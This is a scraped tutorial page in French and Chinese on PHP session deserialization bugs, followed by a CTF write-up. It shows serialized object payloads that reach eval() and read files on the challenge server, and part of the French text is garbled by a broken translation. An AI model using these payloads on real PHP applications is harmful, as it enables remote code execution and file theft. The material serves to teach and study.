


Introduction détaillée à la vulnérabilité de désérialisation de session de PHP
Cet article vous apporte des connaissances pertinentes sur PHP, qui présente principalement les problèmes liés aux vulnérabilités de désérialisation de session, c'est-à-dire les différentes méthodes de sérialisation et de stockage des données de session et de désérialisation et de lecture des données de session conduisent à la vulnérabilité de désérialisation de session, j'espère que cela vous aidera tout le monde.
Étude recommandée : "Tutoriel vidéo PHP"
Vulnérabilité de désérialisation de session PHP
La vulnérabilité de désérialisation de session
PHP se produit lorsque [stockage sérialisé Session
données] et [la désérialisation et la lecture des données de Session
] sont différentes, ce qui entraîne une vulnérabilité de désérialisation de session
session
反序列化漏洞,就是当【序列化存储Session
数据】与【反序列化读取Session
数据】的方式不同导致session
反序列化漏洞的产生
什么是session
官方Session
定义:在计算机中,尤其是在网络应用中,称为“会话控制”。Session
对象存储特定用户会话所需的属性及配置信息。主要有以下特点:
-
session
保存的位置是在服务器端 -
session
通常是要配合cookie
使用
因为HTTP的无状态性,服务端产生了session
来标识当前的用户状态
本质上,session
就是一种可以维持服务器端的数据存储技术。即**session
技术就是一种基于后端有别于数据库的临时存储数据的技术**
PHP session工作流程
以PHP为例,理解session
的原理
- PHP脚本使用 session_start()时开启
session
会话,会自动检测PHPSESSID
- 如果
Cookie
中存在,获取PHPSESSID
- 如果
Cookie
中不存在,创建一个PHPSESSID
,并通过响应头以Cookie
形式保存到浏览器
- 如果
- 初始化超全局变量
$_SESSION
为一个空数组 - PHP通过
PHPSESSID
去指定位置(PHPSESSID
文件存储位置)匹配对应的文件- 存在该文件:读取文件内容(通过反序列化方式),将数据存储到
$_SESSION
中 - 不存在该文件: session_start()创建一个
PHPSESSID
命名文件
- 存在该文件:读取文件内容(通过反序列化方式),将数据存储到
- 程序执行结束,将
$_SESSION
中保存的所有数据序列化存储到PHPSESSID
对应的文件中
具体原理图:
php.ini session配置
php.ini
里面有较重要的session
配置项
session.save_path="/tmp" --设置session文件的存储位置 session.save_handler=files --设定用户自定义存储函数,如果想使用PHP内置session存储机制之外的可以使用这个函数 session.auto_start= 0 --指定会话模块是否在请求开始时启动一个会话,默认值为 0,不启动 session.serialize_handler= php --定义用来序列化/反序列化的处理器名字,默认使用php session.upload_progress.enabled= On --启用上传进度跟踪,并填充$ _SESSION变量,默认启用 session.upload_progress.cleanup= oN --读取所有POST数据(即完成上传)后立即清理进度信息,默认启用
PHP session序列化机制
根据php.ini
中的配置项,我们研究将$_SESSION
中保存的所有数据序列化存储到PHPSESSID
对应的文件中,使用的三种不同的处理格式,即session.serialize_handler
定义的三种引擎:
处理器 | 对应的存储格式 |
---|---|
php | 键名 + 竖线 + 经过 serialize() 函数反序列处理的值 |
php_binary | 键名的长度对应的 ASCII 字符 + 键名 + 经过 serialize() 函数反序列处理的值 |
php_serialize (php>=5.5.4) | 经过 serialize() 函数反序列处理的数组 |
php处理器
首先来看看默认session.serialize_handler = php
时候的序列化结果,代码如下
<?php//ini_set('session.serialize_handler','php');session_start();$_SESSION['name'] = $_GET['name'];echo $_SESSION['name'];?>
为了方便查看,将session
存储目录设置为session.save_path = "/www/php_session"
,PHPSESSID
文件如下
1、文件名
文件名为sess_mpnnbont606f50eb178na451od
,其中mpnnbont606f50eb178na451od
就是后续请求头中Cookie
携带的PHPSESSID
Session
: Dans sur les ordinateurs, notamment dans les applications réseau, on parle de « contrôle de session ». L'objet Session
stocke les propriétés et les informations de configuration requises pour une session utilisateur spécifique. Les principales fonctionnalités sont les suivantes :
-
session
est enregistrée côté serveur -
session
doit généralement coopérer aveccookie
Utilisation
session
pour identifier le statut actuel de l'utilisateurWorkflow de session PHP | Prenez PHP comme exemple pour comprendre session Le principe du code>
|
Schéma schématique spécifique : |
---|---|---|
Mécanisme de sérialisation de session PHP | Selon les éléments de configuration dans php.ini , nous étudions la sérialisation et le stockage de toutes les données enregistrées dans $_SESSION dans PHPSESSID Dans le fichier correspondant, trois formats de traitement différents sont utilisés, à savoir les trois moteurs définis par session.serialize_handler : |
Processor | Format de stockage correspondant
processeur php
🎜Tout d'abord, jetez un œil au résultat de la sérialisation lorsque lesession.serialize_handler = php
par défaut est utilisé. Le code est le suivant🎜<?phpini_set('session.serialize_handler','php_serialize');session_start();$_SESSION['name'] = $_GET['name'];echo $_SESSION['name'];?>

session
sur session.save_path = "/www/php_session", Le fichier PHPSESSID
est le suivant🎜🎜
🎜 🎜1. Nom du fichier🎜🎜Le nom du fichier est sess_mpnnbont606f50eb178na451od
, où mpnnbont606f50eb178na451od
est le PHPSESSID
porté dans le Cookie
dans l'en-tête de la requête suivante. > valeur (comme indiqué dans le navigateur ci-dessus) 🎜🎜2. Contenu du fichier 🎜🎜format de stockage du processeur php 🎜🎜🎜🎜🎜nom de la clé🎜🎜barre verticale🎜🎜valeur désérialisée. par la fonction serialize()🎜🎜 🎜🎜🎜🎜$_SESSION['name'] nom de la clé : name🎜🎜|🎜🎜s:6:"harden";🎜🎜🎜🎜php_binary处理器
使用php_binary处理器,即session.serialize_handler = php_binary
<?phpini_set('session.serialize_handler','php_binary');session_start();# 为了方便ACSII显示,将键名设置为36个字符长度$_SESSION['namenamenamenamenamenamenamenamename'] = $_GET['name'];echo $_SESSION['namenamenamenamenamenamenamenamename'];?>
由于三种方式PHPSESSID
文件名都是一样的,这里只需要查看文件内容
键名的长度对应的 ASCII 字符 | 键名 | 经过 serialize() 函数反序列处理的值. |
---|---|---|
$ | namenamenamenamenamenamenamenamename | s:6:“harden”; |
php_serialize 处理器
使用php_binary处理器,即session.serialize_handler = php_serialize
<?phpini_set('session.serialize_handler','php_serialize');session_start();$_SESSION['name'] = $_GET['name'];echo $_SESSION['name'];?>
文件内容即经过 serialize() 函数反序列处理的数组,a:1:{s:4:"name";s:6:"harden";}
session的反序列化漏洞利用
session的反序列化漏洞,就是利用php
处理器和php_serialize
处理器的存储格式差异而产生,通过具体的代码我们来看下漏洞出现的原因
漏洞成因
首先创建session.php
,使用php_serialize
处理器来存储session数据
<?phpini_set('session.serialize_handler','php_serialize');session_start();$_SESSION['session'] = $_GET['session'];echo $_SESSION['session'];?>
test.php
,使用默认php
处理器来存储session数据
<?phpsession_start();class f4ke{ public $name; function __wakeup(){ echo "Who are you?"; } function __destruct(){ eval($this->name); }}$str = new f4ke();?>
接着,我们构建URL进行访问session.php
:
http://www.session-serialize.com/session.php?session=|O:4:"f4ke":1:{s:4:"name";s:10:"phpinfo();";}
打开PHPSESSID
文件可看到序列化存储的内容
a:1:{s:7:"session";s:45:"|O:4:"f4ke":1:{s:4:"name";s:10:"phpinfo();";}
漏洞分析:
在
session.php
程序执行,我们将|O:4:"f4ke":1:{s:4:"name";s:10:"phpinfo();";}
通过php_serialize
处理器序列化保存成PHPSESSID
文件;由于浏览器中保存的
PHPSESSID
文件名不变,当我们访问test.php
,session_start();
找到PHPSESSID
文件并使用php
处理器反序列化文件内容,识别格式即
键名 竖线 经过 serialize() 函数反序列处理的值 a:1:{s:7:“session”;s:45:" | O:4:“f4ke”:1:{s:4:“name”;s:10:“phpinfo();”;} php处理器会以|作为分隔符,将
O:4:"f4ke":1:{s:4:"name";s:10:"phpinfo();";}
反序列化,就会触发__wakeup()
方法,最后对象销毁执行__destruct()
方法中的eval()
函数,相当于执行如下:$_SESSION['session'] = new f4ke();$_SESSION['session']->name = 'phpinfo();';Copier après la connexion
我们访问test.php
,即可直接执行phpinfo()
函数
CTF例题:PHPINFO
<?php//A webshell is wait for youini_set('session.serialize_handler', 'php');session_start();class OowoO{ public $mdzz; function __construct() { $this->mdzz = 'phpinfo();'; } function __destruct() { eval($this->mdzz); }}if(isset($_GET['phpinfo'])){ $m = new OowoO();}else{ highlight_string(file_get_contents('index.php'));}?>
我们可以看到ini_set('session.serialize_handler', 'php')
,判断可能存在session反序列化漏洞,根据代码逻辑,访问URL加上phpinfo
参数新建对象触发魔术方法执行phpinfo()
函数,进一步查看session.serialize_handler
配置
可见php.ini
中session.serialize_handler = php_serialize
,当前目录中被设置为session.serialize_handler = php
,因此存在session反序列化利用的条件
补充知识
phpinfo文件中
local value(局部变量:作用于当前目录程序,会覆盖master value内容):php master value(主变量:php.ini里面的内容):php_serializeCopier après la connexion
那么我们如何找到代码入口将利用代码写入到session
文件?想要写入session
文件就得想办法在$_SESSION
变量中增加我们可控的输入点
补充知识
当检测Session 上传进度这一特性是开启状态,我们可以在客户端写一个文件上传的功能,文件上传的同时,POST
一个与php.ini
中设置的session.upload_progress.name
同名变量PHP_SESSION_UPLOAD_PROGRESS
,如下图,即可写入$_SESSION
,进一步序列化写入session
文件
下面是官方给出的一个文件上传时监测进度例子:
<form action="upload.php" method="POST" enctype="multipart/form-data"> <input type="hidden" name="<?php echo ini_get("session.upload_progress.name"); ?>" value="123" /> <input type="file" name="file1" /> <input type="file" name="file2" /> <input type="submit" /></form>
其中name=""
也可以设置为name="PHP_SESSION_UPLOAD_PROGRESS"
在session中存储的上传进度,如下所示:
<?php$_SESSION["upload_progress_123"] = array( "start_time" => 1234567890, // The request time 请求时间 "content_length" => 57343257, // POST content length 长度 "bytes_processed" => 453489, // Amount of bytes received and processed 已接收字节 "done" => false, // true when the POST handler has finished, successfully or not 是否上传完成 "files" => array(//上传的文件 0 => array( "field_name" => "file1", // Name of the <input/> field input中设定的变量名 // The following 3 elements equals those in $_FILES "name" => "foo.avi", //文件名 "tmp_name" => "/tmp/phpxxxxxx", "error" => 0, "done" => true, // True when the POST handler has finished handling this file "start_time" => 1234567890, // When this file has started to be processed "bytes_processed" => 57343250, // Amount of bytes received and processed for this file ), // An other file, not finished uploading, in the same request 1 => array( "field_name" => "file2", "name" => "bar.avi", "tmp_name" => NULL, "error" => 0, "done" => false, "start_time" => 1234567899, "bytes_processed" => 54554, ), ));
其中,session中的field_name
和name
都是我们可控的输入点!
下面我们就开始解题拿到flag
首先,http://web.jarvisoj.com:32784/index.php?phpinfo
查询设置
session.upload_progress.enabled = On --表明允许上传进度跟踪,并填充$ _SESSION变量 session.upload_progress.cleanup = Off --表明所有POST数据(即完成上传)后,不清理进度信息($ _SESSION变量)
即允许上传进度跟踪且结束后不清除数据,更有利使用session.upload_progress.name
来将利用代码写入session
文件
构造POST
表单提交上传文件
<form action="http://web.jarvisoj.com:32784/index.php" method="POST" enctype="multipart/form-data"> <input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="123" /> <input type="file" name="file" /> <input type="submit" /></form>
构造序列化字符串作为payload
(利用代码)
<?phpclass OowoO{ public $mdzz='print_r(scandir(dirname(__FILE__)));';}$obj = new OowoO();echo serialize($obj);?>//O:5:"OowoO":1:{s:4:"mdzz";s:36:"print_r(scandir(dirname(__FILE__)));";}
为了防止"
被转义,我们在payload
中加入\
随意选择文件,点击表单提交,使用抓包工具burpsuite
抓取请求包
并修改filename
值为
|O:5:\"OowoO\":1:{s:4:\"mdzz\";s:36:\"print_r(scandir(dirname(__FILE__)));\";}
发送请求包,代码执行过程分析:
因此直接执行print_r(scandir(dirname(__FILE__)));
并返回
phpinfo
查看当前目录,/opt/lampp/htdocs/
构造最终payload
读取Here_1s_7he_fl4g_buT_You_Cannot_see.php
文件内容,即flag
|O:5:\"OowoO\":1:{s:4:\"mdzz\";s:88:\"print_r(file_get_contents(\"/opt/lampp/htdocs/Here_1s_7he_fl4g_buT_You_Cannot_see.php\"));\";}
推荐学习:《PHP视频教程》
Ce qui précède est le contenu détaillé de. pour plus d'informations, suivez d'autres articles connexes sur le site Web de PHP en chinois!

Outils d'IA chauds

Undresser.AI Undress
Application basée sur l'IA pour créer des photos de nu réalistes

AI Clothes Remover
Outil d'IA en ligne pour supprimer les vêtements des photos.

Undress AI Tool
Images de déshabillage gratuites

Clothoff.io
Dissolvant de vêtements AI

AI Hentai Generator
Générez AI Hentai gratuitement.

Article chaud

Outils chauds

Bloc-notes++7.3.1
Éditeur de code facile à utiliser et gratuit

SublimeText3 version chinoise
Version chinoise, très simple à utiliser

Envoyer Studio 13.0.1
Puissant environnement de développement intégré PHP

Dreamweaver CS6
Outils de développement Web visuel

SublimeText3 version Mac
Logiciel d'édition de code au niveau de Dieu (SublimeText3)

PHP 8.4 apporte plusieurs nouvelles fonctionnalités, améliorations de sécurité et de performances avec une bonne quantité de dépréciations et de suppressions de fonctionnalités. Ce guide explique comment installer PHP 8.4 ou mettre à niveau vers PHP 8.4 sur Ubuntu, Debian ou leurs dérivés. Bien qu'il soit possible de compiler PHP à partir des sources, son installation à partir d'un référentiel APT comme expliqué ci-dessous est souvent plus rapide et plus sécurisée car ces référentiels fourniront les dernières corrections de bogues et mises à jour de sécurité à l'avenir.

Visual Studio Code, également connu sous le nom de VS Code, est un éditeur de code source gratuit – ou environnement de développement intégré (IDE) – disponible pour tous les principaux systèmes d'exploitation. Avec une large collection d'extensions pour de nombreux langages de programmation, VS Code peut être c

Si vous êtes un développeur PHP expérimenté, vous aurez peut-être le sentiment d'y être déjà allé et de l'avoir déjà fait. Vous avez développé un nombre important d'applications, débogué des millions de lignes de code et peaufiné de nombreux scripts pour réaliser des opérations.

Ce tutoriel montre comment traiter efficacement les documents XML à l'aide de PHP. XML (Language de balisage extensible) est un langage de balisage basé sur le texte polyvalent conçu à la fois pour la lisibilité humaine et l'analyse de la machine. Il est couramment utilisé pour le stockage de données et

JWT est une norme ouverte basée sur JSON, utilisée pour transmettre en toute sécurité des informations entre les parties, principalement pour l'authentification de l'identité et l'échange d'informations. 1. JWT se compose de trois parties: en-tête, charge utile et signature. 2. Le principe de travail de JWT comprend trois étapes: la génération de JWT, la vérification de la charge utile JWT et l'analyse. 3. Lorsque vous utilisez JWT pour l'authentification en PHP, JWT peut être généré et vérifié, et les informations sur le rôle et l'autorisation des utilisateurs peuvent être incluses dans l'utilisation avancée. 4. Les erreurs courantes incluent une défaillance de vérification de signature, l'expiration des jetons et la charge utile surdimensionnée. Les compétences de débogage incluent l'utilisation des outils de débogage et de l'exploitation forestière. 5. L'optimisation des performances et les meilleures pratiques incluent l'utilisation des algorithmes de signature appropriés, la définition des périodes de validité raisonnablement,

Une chaîne est une séquence de caractères, y compris des lettres, des nombres et des symboles. Ce tutoriel apprendra à calculer le nombre de voyelles dans une chaîne donnée en PHP en utilisant différentes méthodes. Les voyelles en anglais sont a, e, i, o, u, et elles peuvent être en majuscules ou en minuscules. Qu'est-ce qu'une voyelle? Les voyelles sont des caractères alphabétiques qui représentent une prononciation spécifique. Il y a cinq voyelles en anglais, y compris les majuscules et les minuscules: a, e, i, o, u Exemple 1 Entrée: String = "TutorialSpoint" Sortie: 6 expliquer Les voyelles dans la chaîne "TutorialSpoint" sont u, o, i, a, o, i. Il y a 6 yuans au total

Liaison statique (statique: :) implémente la liaison statique tardive (LSB) dans PHP, permettant à des classes d'appel d'être référencées dans des contextes statiques plutôt que de définir des classes. 1) Le processus d'analyse est effectué au moment de l'exécution, 2) Recherchez la classe d'appel dans la relation de succession, 3) il peut apporter des frais généraux de performance.

Quelles sont les méthodes magiques de PHP? Les méthodes magiques de PHP incluent: 1. \ _ \ _ Construct, utilisé pour initialiser les objets; 2. \ _ \ _ Destruct, utilisé pour nettoyer les ressources; 3. \ _ \ _ Appel, gérer les appels de méthode inexistants; 4. \ _ \ _ GET, Implémentez l'accès à l'attribut dynamique; 5. \ _ \ _ SET, Implémentez les paramètres d'attribut dynamique. Ces méthodes sont automatiquement appelées dans certaines situations, améliorant la flexibilité et l'efficacité du code.
